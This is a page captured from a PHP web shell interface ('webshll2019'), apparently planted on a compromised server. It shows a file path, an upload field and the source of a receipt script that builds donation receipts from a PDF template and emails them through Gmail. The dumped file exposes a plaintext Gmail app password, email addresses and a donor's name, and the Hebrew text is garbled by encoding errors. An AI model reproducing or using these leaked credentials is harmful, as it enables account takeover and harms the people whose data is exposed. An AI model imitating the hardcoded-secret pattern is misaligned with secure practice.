?

áEÓê¤ÎïLwebshll2019

Current Path : /home/webyoo/www/backup/allback/docteur-site/cv/sym/a/hanessiim/site/admin/
Upload File :
Current File : /home/webyoo/www/backup/allback/docteur-site/cv/sym/a/hanessiim/site/admin/testpdf.php

<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

// Chargement des bibliothèques
require 'fpdf/fpdf.php';
require 'fpdi/src/autoload.php'; // FPDI 2.x autoloader
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
require 'PHPMailer/src/Exception.php';

use setasign\Fpdi\Fpdi;
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

// Données
$nom   = 'מיכ×ל ×טו×ל';//$rowuser['fullname']
$email = 'hmichael0101@gmail.com';
$amount = number_format(2500, 2, '.', ','); // montant de la donation formaté US (ex: 2,500.00)
$donNumber = str_pad(100000 + 123, 6, '0', STR_PAD_LEFT);//$rowuser['id']

$templatePdf = __DIR__ . '/kabalav3.pdf'; // ↠Ton PDF existant

// Création du nouveau PDF à partir du modèle
$pdf = new FPDI();
$pdf->AddPage('L', array(667.77, 491.49)); // L = Landscape, dimensions personnalisées

// Charger la page du PDF existant
$pageCount = $pdf->setSourceFile($templatePdf);
$templateId = $pdf->importPage(1);
$pdf->useTemplate($templateId, 0, 0, 667.77, 491.49);

// Ajouter du texte par-dessus
$pdf->SetFont('Arial','B',70);

$pdf->SetXY(350, 130.8);
$pdf->Write(10, $donNumber);

// $pdf->SetFont('Arial','B',40);
$pdf->AddFont('DejaVu','','DejaVuSans.php');
$pdf->SetFont('DejaVu','',40);
$pdf->SetXY(490, 233);
$texte_cp1255 = iconv('UTF-8', 'CP1255', $nom);
$pdf->Write(10, strrev($texte_cp1255));

$pdf->SetXY(598.7, 340);
$pdf->Write(10, 'x');

$monnaie = iconv('UTF-8', 'CP1255', 'ש"ח');
$pdf->SetXY(90, 390);
$pdf->Write(10, ' '.strrev($monnaie) . ' ' .$amount. ' ');



// Enregistrer le nouveau PDF temporairement
$pdf_path = __DIR__ . '/kabala_simhat_avraham_' . uniqid() . '.pdf';
$pdf->Output('F', $pdf_path);

// Envoi du PDF par e-mail avec PHPMailer
$mail = new PHPMailer(true);

try {
    $mail->CharSet = 'utf-8';
    $mail->isSMTP();
    $mail->SMTPDebug = 0;
    $mail->SMTPAuth = true;
    $mail->SMTPSecure = 'ssl';
    $mail->Host = 'smtp.gmail.com';
    $mail->Port = 465;
    $mail->Username = 'hmichael26@gmail.com';
    $mail->Password = 'swyvcbzgtigihemt'; // 🔒 mot de passe d'application Gmail

    $mail->setFrom('hmichael26@gmail.com', 'מוסדות שמחת ×ברה×');
    $mail->addAddress($email);
    $mail->addAttachment($pdf_path, 'kabala_simhat_avraham.pdf');

    $mail->isHTML(true);
    $mail->Subject = 'מוסדות שמחת ××‘×¨×”× - הקבלה ×”×ישית שלך';
    
    $mail->Body = "
    ×©×œ×•× $nom,<br><br>
    מצורפת הקבלה ×”×ישית שלך.<br><br>
    תודה רבה על תרומתך!<br>
    מספר קבלה: $donNumber<br><br>
    בברכה,<br>
    מוסדות שמחת ×ברה×<br><br>
    <img src='https://hanesiim.com/admin/images/hanesiim.com.png' style='width:150px;'>
    ";




    $mail->send();
    echo "✅ Email envoyé avec succès à $email.";
} catch (Exception $e) {
    echo "⌠Erreur lors de l'envoi : {$mail->ErrorInfo}";
} finally {
    if (file_exists($pdf_path)) {
        unlink($pdf_path); // nettoyage du fichier temporaire
    }
}
?>



web shell, Coded By 2019